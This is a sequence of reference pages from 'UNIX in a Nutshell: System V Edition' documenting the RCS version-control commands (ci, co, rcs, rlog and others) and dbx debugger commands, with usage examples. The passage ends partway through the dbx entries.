Check in revisions. ci stores the contents of the specified working files into their corresponding RCS files. Normally, ci deletes the working file after storing it. If no RCS file exists, then the working file is an initial revision. In this case, the RCS file is created and you are prompted to enter a description of the file. If an RCS file exists, ci increments the revision number and prompts you to enter a message that logs the changes made. In RCS Version 5.6, if a working file is checked in without changes, the file reverts to the previous revision. In older RCS versions, you may end up having to check in a new revision that contains no changes.

The mutually exclusive options -u, -l, and -r, are the most common. Use -u to keep a read-only copy of the working file (for example, so that the file can be compiled or searched). Use -l to update a revision and then immediately check it out again with a lock. This allows you to save intermediate changes but continue editing (for example, during a long editing session). Use -r to check in a file with a different release number. ci accepts the standard options -q, -V, and -x.

Options

-d[date]

Check the file in with a timestamp of date or, if no date is specified, with the time of last modification.

-f[R]

Force a check in even if there are no differences.

-I[R]

Interactive mode; prompt user even when standard input is not a terminal (e.g., when ci is part of a command pipeline). -I is new in RCS Version 5.

-k[R]

Assign a revision number, creation date, state, and author from keyword values that were placed in the working file, instead of computing the revision information from the local environment. -k is useful for software distribution: the preset keywords serve as a timestamp shared by all distribution sites.

-l[R]

Do a co -l after checking in. This leaves a locked copy of the next revision.

-mmsg

Use the msg string as the log message for all files checked in. When checking in multiple files, ci normally prompts whether to reuse the log message of the previous file. -m bypasses this prompting.

-M[R]

Set the working file's modification time to that of the retrieved version. Use of -M can confuse make and should be used with care. (New in RCS Version 5.6.)

-nname

Associate a text name with the new revision number.

-Nname

Same as -n, but override a previous name.

-r[R]

Check the file in as revision R.

-sstate

Set the state of the checked-in revision.

-tfile

Replace RCS file description with contents of file. As of Version 5, this works only for initial check in.

-t-string

Replace RCS file description with string. As of Version 5, this works only for initial check in.

-u[R]

Do a co -u after checking in. This leaves a read-only copy.

-wuser

Set the author field to user in the checked-in revision.

Examples

Check in chapter files using the same log message:

ci -m'First round edits' chap*

Check in edits to prog.c, leaving a read-only copy:

ci -u prog.c

Start revision level 2; refer to revision 2.1 as "Prototype":

ci -r2 -nPrototype prog.c

Previous: 18.5 Alphabetical Summary of Commands | UNIX in a Nutshell: System V Edition | Next: Reference: co
18.5 Alphabetical Summary of Commands | Book Index | Reference: co
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: co

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: ci Chapter 18
The RCS Utility 		Next: Reference: ident

co

co [options] files

Retrieve a previously checked-in revision, and place it in the corresponding working file (or print to standard output if -p is specified). If you intend to edit the working file and check it in again, specify -l to lock the file. co accepts the standard options -q, -V, and -x.

Options

-ddate

Retrieve latest revision whose check-in timestamp is on or before date.

-f[R]

Force the working file to be overwritten.

-I[R]

Interactive mode; prompt user even when standard input is not a terminal. (New in RCS Version 5.)

-jR2:R3

This works like rcsmerge. R2 and R3 specify two revisions whose changes are merged into a third file: either the corresponding working file, or a third revision (any R specified by other co options).

-kc

Expand keyword symbols according to flag c. c can be:

kv

Expand symbols to keyword and value (the default). Insert the locker's name only during a ci -l or co -l.

kvl

Like kv, but always insert the locker's name.

k

Expand symbols to keywords only (no values). This is useful for ignoring trivial differences during file comparison.

o

Expand symbols to keyword and value present in previous revision. This is useful for binary files that don't allow substring changes.

v

Expand symbols to values only (no keywords). This prevents further keyword substitution and is not recommended.

-l[R]

Same as -r, but also lock the retrieved revision.

-M[R]

Set the working file's modification time to that of the retrieved version. Use of -M can confuse make and should be used with care. (New in RCS Version 5.6.)

-p[R]

Send retrieved revision to standard output instead of to a working file. Useful for output redirection or filtering.

-r[R]

Retrieve the latest revision or, if R is given, retrieve the latest revision that is equal to or lower than R.

-sstate

Retrieve the latest revision having the given state.

-u[R]

Same as -r, but also unlock the retrieved revision if you locked it previously.

-w[user]

Retrieve the latest revision that was checked in either by the invoking user or by the specified user.

Examples

Sort the latest stored version of file:

co -p file | sort

Check out (and lock) all uppercase filenames for editing:

co -l [A-Z]*

Note that filename expansion fails unless a working copy resides in the current directory. Therefore, this example works only if the files were previously checked in via ci -u. Finally, here are some different ways to extract the working files for a set of RCS files (in the current directory):

co -r3 *,v	Latest revisions of release 3
co -r3 -wjim *,v	Same, but only if checked in by jim
co -d'May 5, 2 pm LT' *,v	Latest revisions that were
    modified on or before the date
co -rPrototype *,v	Latest revisions named Prototype

Previous: Reference: ci | UNIX in a Nutshell: System V Edition | Next: Reference: ident
Reference: ci | Book Index | Reference: ident
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: ident

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: co Chapter 18
The RCS Utility 		Next: Reference: merge

ident

ident [option] [files]

Extract keyword/value symbols from files. files can be text files, object files, or dumps.

Option

-q

Suppress warning message when no keyword patterns are found.

Examples

If file prog.c is compiled, and it contains this line of code:

char rcsID[] = "$Author: george $

then the following output is produced:

% ident prog.c prog.o
prog.c:
     $Author: george $
prog.o:
     $Author: george $

Show keywords for all RCS files (suppress warnings):

co -p RCS/*,v | ident -q

Previous: Reference: co | UNIX in a Nutshell: System V Edition | Next: Reference: merge
Reference: co | Book Index | Reference: merge
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: merge

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: ident Chapter 18
The RCS Utility 		Next: Reference: rcs

merge

merge [options] file1 file2 file3

Perform a three-way merge of files (via diff3) and place changes in file1. file2 is the original file. file1 is the "good" modification of file2. file3 is another, conflicting modification of file2. merge finds the differences between file2 and file3, and then incorporates those changes into file1. If both file1 and file3 have changes to common lines, merge warns about overlapping lines and inserts both choices in file1. The insertion appears as follows:

<<<<<<< file1>
lines from file1
========
lines from file3
>>>>>>> file3

You'll need to edit file1 by deleting one of the choices. merge exits with a status of 0 (no overlaps), 1 (some overlaps), or 2 (unknown problem). See also rcsmerge.

Options

-L text1

In overlapping lines, replace the label "<<<<<<< file1" with the label "<<<<<<< text1".

-L text3

In overlapping lines, replace the label "<<<<<<< file3" with the label "<<<<<<< text3". Valid only with -L text1.

-p

Send merged version to standard output instead of to file1.

-q

Produce overlap insertions but don't warn about them.

Previous: Reference: ident | UNIX in a Nutshell: System V Edition | Next: Reference: rcs
Reference: ident | Book Index | Reference: rcs
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: rcs

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: merge Chapter 18
The RCS Utility 		Next: Reference: rcsclean

rcs

rcs [options] files

An administrative command for setting up or changing the default attributes of RCS files. Among other things, rcs lets you set strict locking (-L), delete revisions (-o), and override locks set by co (-l and -u). RCS files have an access list (created via -a); anyone whose username is on the list can run rcs. The access list is often empty, meaning that rcs is available to everyone. In addition, you can always invoke rcs if you own the file, if you're a privileged user, or if you run rcs with -i. rcs accepts the standard options -q, -V, and -x.

Options

-ausers

Append the comma-separated list of users to the access list.

-Aotherfile

Append otherfile's access list to the access list of files.

-b[R]

Set the default branch to R or, if R is omitted, to the highest branch on the trunk.

-c's'

The comment character for $Log keywords is set to string s. By default, co expands embedded $Log keywords into comments preceded by #. You could, for example, set s to .\" for troff files or set s to * for C programs. (You would need to manually insert an enclosing /* and */ before and after $Log.)

-e[users]

Erase everyone (or only the specified users) from the access list.

-i

Create (initialize) an RCS file but don't deposit a revision.

-I

Interactive mode; prompt user even when standard input is not a terminal. (New in RCS Version 5.)

-kc

Use c as the default style for keyword substitution. (See co for values of c.) -kkv restores the default substitution style; all other styles create incompatibilities with RCS Version 4 or earlier.

-l[R]

Lock revision R or the latest revision. -l "retroactively locks" a file and is useful if you checked out a file incorrectly by typing co instead of co -l.

-L

Turn on strict locking (the default). This means that everyone, including the owner of the RCS file, must use co -l to edit files. Strict locking is recommended when files are to be shared. (See -U.)

-mR:msg

Use the msg string to replace the log message of revision R. (New in RCS Version 5.6.)

-nflags

Add or delete an association between a revision and a name. flags can be:

name:R

Associate name with revision R.

name:

Associate name with latest revision.

name

Remove association of name.

-Nflags

Same as -n but overwrite existing names.

-oR_list

Delete (outdate) revisions listed in R_list. R_list can be specified as: R1, R1-R2, R1-, or -R2. When a branch is given, -o deletes only the latest revision on it. RCS Version 5.6 has changed the range separator character to :, although - is still valid.

-sstate[:R]

Set the state of revision R (or the latest revision) to the word state.

-t[file]

Replace RCS file description with contents of file or, if no file is given, with standard output.

-t-string

Replace RCS file description with string.

-u[R]

The complement of -l: unlock a revision that was previously checked out via co -l. If someone else did the check out, you are prompted to state the reason for breaking the lock. This message is mailed to the original locker.

-U

Turn on non-strict locking. Everyone except the file owner must use co -l to edit files. (See -L.)

Examples

Associate the label To_customer with the latest revision of all RCS files:

rcs -nTo_customer: RCS/*

Add three users to the access list of file beatle_deals:

rcs -ageorge,paul,ringo beatle_deals

Delete revisions 1.2 through 1.5:

rcs -o1.2-1.5 doc

Replace an RCS file description with the contents of a variable:

echo "$description" | rcs -t file

Previous: Reference: merge | UNIX in a Nutshell: System V Edition | Next: Reference: rcsclean
Reference: merge | Book Index | Reference: rcsclean
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: rcsclean

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: rcs Chapter 18
The RCS Utility 		Next: Reference: rcsdiff

rcsclean

rcsclean [options] [files]

Although included with RCS, this command is optional and might not be installed on your system. rcsclean compares checked-out files against the corresponding latest revision or revision R (as given by the options). If no differences are found, the working file is removed. (Use rcsdiff to find differences.) rcsclean is useful in makefiles. For example, you could specify a "clean up" target to update your directories. rcsclean is also useful prior to running rcsfreeze. rcsclean accepts the standard options -q, -V, and -x.

Options

-kc

When comparing revisions, expand keywords using style c. (See co for values of c.)

-n[R]

Show what would happen but don't actually execute.

-r[R]

Compare against revision R. R can be supplied as arguments to other options, so -r is redundant.

-u[R]

Unlock the revision if it's the same as the working file.

Examples

Remove unchanged copies of program and header files:

rcsclean *.c *.h

Previous: Reference: rcs | UNIX in a Nutshell: System V Edition | Next: Reference: rcsdiff
Reference: rcs | Book Index | Reference: rcsdiff
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: rcsdiff

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: rcsclean Chapter 18
The RCS Utility 		Next: Reference: rcsfreeze

rcsdiff

rcsdiff [options] [diff_options] files

Compare revisions via diff. Specify revisions using -r as follows:

Number of Revisions specified: | Comparison made:
None | Working file against latest revision
One | Working file against specified revision
Two | One revision against the other

rcsdiff accepts the standard options -q, -V, and -x, as well as diff_options, which can be any valid diff option. rcsdiff exits with a status of 0 (no differences), 1 (some differences), or 2 (unknown problem).

Options

-kc

When comparing revisions, expand keywords using style c. (See co for values of c.)

-rR1

Use revision R1 in the comparison.

-rR2

Use revision R2 in the comparison. (-r R1 must also be specified.)

Previous: Reference: rcsclean | UNIX in a Nutshell: System V Edition | Next: Reference: rcsfreeze
Reference: rcsclean | Book Index | Reference: rcsfreeze
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: rcsfreeze

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: rcsdiff Chapter 18
The RCS Utility 		Next: Reference: rcsmerge

rcsfreeze

rcsfreeze [name]

Although included with RCS, this shell script is optional and might not be installed on your system. rcsfreeze assigns a name to an entire set of RCS files, which must already be checked in. This is useful for marking a group of files as a single configuration. The default name is C_n, where n is incremented each time you run rcsfreeze.

Previous: Reference: rcsdiff | UNIX in a Nutshell: System V Edition | Next: Reference: rcsmerge
Reference: rcsdiff | Book Index | Reference: rcsmerge
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: rcsmerge

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: rcsfreeze Chapter 18
The RCS Utility 		Next: Reference: rlog

rcsmerge

rcsmerge [options] file

Perform a three-way merge of file revisions, taking two differing versions and incorporating the changes into the working file. You must provide either one or two revisions to merge (typically with -r). Overlaps are handled the same as with merge, by placing warnings in the resulting file. rcsmerge accepts the standard options -q, -V, and -x. rcsmerge exits with a status of 0 (no overlaps), 1 (some overlaps), or 2 (unknown problem).

Options

-kc

When comparing revisions, expand keywords using style c. (See co for values of c.)

-p[R]

Send merged version to standard output instead of overwriting file.

-r[R]

Merge revision R or, if no R is given, merge the latest revision.

Examples

Suppose you need to add updates to an old revision (1.3) of prog.c, but the current file is already at revision 1.6. To incorporate the changes:

co -l prog.c
(edit latest revision by adding revision 1.3 updates, then:)
rcsmerge -p -r1.3 -r1.6 prog.c > prog.updated.c

Undo changes between revisions 3.5 and 3.2, and overwrite the working file:

rcsmerge -r3.5 -r3.2 chap08

Previous: Reference: rcsfreeze | UNIX in a Nutshell: System V Edition | Next: Reference: rlog
Reference: rcsfreeze | Book Index | Reference: rlog
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: rlog

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: rcsmerge Chapter 18
The RCS Utility 		Next: 18. The RCS Utility

rlog

rlog [options] files

Display identification information for RCS files, including the log message associated with each revision, the number of lines added or removed, date of last check in, etc. With no options, rlog displays all information. Use options to display specific items. rlog accepts the standard options -V and -x.

Options

-b

Prune the display; print only about the default branch.

-ddates

Display information for revisions whose check-in timestamp falls in the range of dates (a list separated by semicolons). Be sure to use quotes. Each date can be specified as:

d1 < d2

Select revisions between date d1 and d2, inclusive.

d1 <

Select revisions made on or after date1.

d1 >

Select revisions made on or before date1.

-h

Display the beginning of the normal rlog listing.

-l[users]

Display information only about locked revisions or, if lockers is specified, only about revisions locked by the list of users.

-L

Skip files that aren't locked.

-r[list]

Display information for revisions in the comma-separated list of revision numbers. If no list is given, the latest revision is used. Items can be specified as:

R1

Select revision R1. If R1 is a branch, select all revisions on it.

R1.

If R1 is a branch, select its latest revision.

R1-R2

Select revisions R1 through R2.

-R1

Select revisions from beginning of branch through R1.

R1-

Select revisions from R1 through end of branch. RCS Version 5.6 has changed the range separator character to :, although - is still valid.

-R

Display only the name of the RCS file.

-sstates

Display information for revisions whose state matches one from the comma-separated list of states.

-t

Same as -h, but also display the file's description.

-w[users]

Display information for revisions checked in by anyone in the comma-separated list of users. If no users are supplied, assume the name of the invoking user.

Examples

Display a file's revision history:

rlog RCS/*,v | more

Display names of RCS files that are locked by user daniel.

rlog -R -L -ldaniel RCS/*

Display the "title" portion (no revision history) of a working file:

rlog -t calc.c

Previous: Reference: rcsmerge | UNIX in a Nutshell: System V Edition | Next: 18. The RCS Utility
Reference: rcsmerge | Book Index | 18. The RCS Utility
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: alias

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 20.2 The Dbx Debugger Chapter 20
Program Debugging 		Next: Reference: assign

alias

alias name command
alias name(parameters)  command  string

Define name to be an alias for command. For example:

alias s(n) "stop at n"

means that the command s(20) expands to stop at 20. See also unalias.

Previous: 20.2 The Dbx Debugger | UNIX in a Nutshell: System V Edition | Next: Reference: assign
20.2 The Dbx Debugger | Book Index | Reference: assign
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: assign

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: alias Chapter 20
Program Debugging 		Next: Reference: call

assign

assign var = expr

Assign the value of expr to variable var.

Previous: Reference: alias | UNIX in a Nutshell: System V Edition | Next: Reference: call
Reference: alias | Book Index | Reference: call
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: call

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: assign Chapter 20
Program Debugging 		Next: Reference: catch

call

call func(parameters)

Execute object code associated with func.

Previous: Reference: assign | UNIX in a Nutshell: System V Edition | Next: Reference: catch
Reference: assign | Book Index | Reference: catch
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: catch

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: call Chapter 20
Program Debugging 		Next: Reference: cd

catch

catch [signals]

Start trapping signals before they are sent to the program. Specify one or more signals by number or by name. Omit signal to display the currently caught signal. See also ignore.

Previous: Reference: call | UNIX in a Nutshell: System V Edition | Next: Reference: cd
Reference: call | Book Index | Reference: cd
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: cd

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: catch Chapter 20
Program Debugging 		Next: Reference: clear

cd

cd [directory]

Change the working directory for dbx.

Previous: Reference: catch | UNIX in a Nutshell: System V Edition | Next: Reference: clear
Reference: catch | Book Index | Reference: clear
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: clear

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: cd Chapter 20
Program Debugging 		Next: Reference: cont

clear

clear [n]

Clear breakpoints at source line n or at current stopping point.

Previous: Reference: cd | UNIX in a Nutshell: System V Edition | Next: Reference: cont
Reference: cd | Book Index | Reference: cont
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: cont

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: clear Chapter 20
Program Debugging 		Next: Reference: CTRL-C

cont

cont [at n] [sig signal]

Continue execution from the point at which it was stopped. Resume from source line n or, if a signal name or number is specified, resume process as if it had received the signal.

Previous: Reference: clear | UNIX in a Nutshell: System V Edition | Next: Reference: CTRL-C
Reference: clear | Book Index | Reference: CTRL-C
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: dbxenv

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: CTRL-C Chapter 20
Program Debugging 		Next: Reference: debug

dbxenv

dbxenv [args]

Display dbx attributes, or change attribute args. Type help for details.

Previous: Reference: CTRL-C | UNIX in a Nutshell: System V Edition | Next: Reference: debug
Reference: CTRL-C | Book Index | Reference: debug
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: debug

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: dbxenv Chapter 20
Program Debugging 		Next: Reference: delete

debug

debug [objfile [corefile]]

Restart dbx on the specified files or, with no arguments, print the current program name.

Previous: Reference: dbxenv | UNIX in a Nutshell: System V Edition | Next: Reference: delete
Reference: dbxenv | Book Index | Reference: delete
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: delete

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: debug Chapter 20
Program Debugging 		Next: Reference: detach

delete

delete n

Remove traces, stops, and whens corresponding to each command number n, given by status. If n is all, remove all.

Previous: Reference: debug | UNIX in a Nutshell: System V Edition | Next: Reference: detach
Reference: debug | Book Index | Reference: detach
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: detach

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: delete Chapter 20
Program Debugging 		Next: Reference: display

detach

detach

Separate the current program (or process) from dbx.

Previous: Reference: delete | UNIX in a Nutshell: System V Edition | Next: Reference: display
Reference: delete | Book Index | Reference: display
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: display

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: detach Chapter 20
Program Debugging 		Next: Reference: down

display

display [expressions]

Show the value of one or more expressions each time execution stops. With no arguments, list expressions currently being shown. See also undisplay.

Previous: Reference: detach | UNIX in a Nutshell: System V Edition | Next: Reference: down
Reference: detach | Book Index | Reference: down
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: down

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: display Chapter 20
Program Debugging 		Next: Reference: dump

down

down [n]

Move current function down n levels on stack. Default is 1. See also up.

Previous: Reference: display | UNIX in a Nutshell: System V Edition | Next: Reference: dump
Reference: display | Book Index | Reference: dump
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: dump

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: down Chapter 20
Program Debugging 		Next: Reference: edit

dump

dump [func] [> file]

Print names and values of variables in func (or in current procedure). Optionally store output in file. If func is ., dump all active variables.

Previous: Reference: down | UNIX in a Nutshell: System V Edition | Next: Reference: edit
Reference: down | Book Index | Reference: edit
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: edit

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: dump Chapter 20
Program Debugging 		Next: Reference: file

edit

edit [file]
edit func

Invoke editor either on file, on current source file (if no file is given), or on file containing func. The EDITOR environment variable determines which editor is used.

Previous: Reference: dump | UNIX in a Nutshell: System V Edition | Next: Reference: file
Reference: dump | Book Index | Reference: file
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: file

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: edit Chapter 20
Program Debugging 		Next: Reference: func

file

file [file]

Change name of current source file to file or, if no file is given, print name of current source file.

Previous: Reference: edit | UNIX in a Nutshell: System V Edition | Next: Reference: func
Reference: edit | Book Index | Reference: func
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: func

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: file Chapter 20
Program Debugging 		Next: Reference: help

func

func [func]

Change current function to func or, if no func is given, print current function.

Previous: Reference: file | UNIX in a Nutshell: System V Edition | Next: Reference: help
Reference: file | Book Index | Reference: help
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: help

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: func Chapter 20
Program Debugging 		Next: Reference: history

help

help [command]

Print a synopsis of all dbx commands or of the given command.

Previous: Reference: func | UNIX in a Nutshell: System V Edition | Next: Reference: history
Reference: func | Book Index | Reference: history
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: history

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: help Chapter 20
Program Debugging 		Next: Reference: ignore

history

history [n]

List the last n dbx commands issued (default is 15). Same as C shell's history command. History substitutions are supported for reissuing commands.

Previous: Reference: help | UNIX in a Nutshell: System V Edition | Next: Reference: ignore
Reference: help | Book Index | Reference: ignore
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: ignore

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: history Chapter 20
Program Debugging 		Next: Reference: kill

ignore

ignore [signals]

Stop trapping signals before they are sent to the program. Specify one or more signals by number or by name. Omit signal to display the currently ignored signal. See also catch.

Previous: Reference: history | UNIX in a Nutshell: System V Edition | Next: Reference: kill
Reference: history | Book Index | Reference: kill
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: kill

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: ignore Chapter 20
Program Debugging 		Next: Reference: language

kill

kill

Stop execution or debugging of current program.

Previous: Reference: ignore | UNIX in a Nutshell: System V Edition | Next: Reference: language
Reference: ignore | Book Index | Reference: language
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: language

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: kill Chapter 20
Program Debugging 		Next: Reference: list

language

language [name]

Set the programming language to name, which can be one of c, c++, fortran, or pascal. With no name, show the language currently in use.

Previous: Reference: kill | UNIX in a Nutshell: System V Edition | Next: Reference: list
Reference: kill | Book Index | Reference: list
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: list

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: language Chapter 20
Program Debugging 		Next: Reference: make

list

list [n1 [,n2]]
list func

List the source text between lines n1 and n2, or on lines surrounding the first statement of func. With no arguments, list the next ten lines.

Previous: Reference: language | UNIX in a Nutshell: System V Edition | Next: Reference: make
Reference: language | Book Index | Reference: make
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: make

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: list Chapter 20
Program Debugging 		Next: Reference: modules

make

make

Run make on the program being debugged.

Previous: Reference: list | UNIX in a Nutshell: System V Edition | Next: Reference: modules
Reference: list | Book Index | Reference: modules
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: modules

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: make Chapter 20
Program Debugging 		Next: Reference: next

modules

modules

List object files for which debugging data is available.

Previous: Reference: make | UNIX in a Nutshell: System V Edition | Next: Reference: next
Reference: make | Book Index | Reference: next
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: next

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: modules Chapter 20
Program Debugging 		Next: Reference: nexti

next

next [n]

Execute next n source lines. Default is 1. next doesn't go into functions.

Previous: Reference: modules | UNIX in a Nutshell: System V Edition | Next: Reference: nexti
Reference: modules | Book Index | Reference: nexti
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: nexti

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: next Chapter 20
Program Debugging 		Next: Reference: print

nexti

nexti

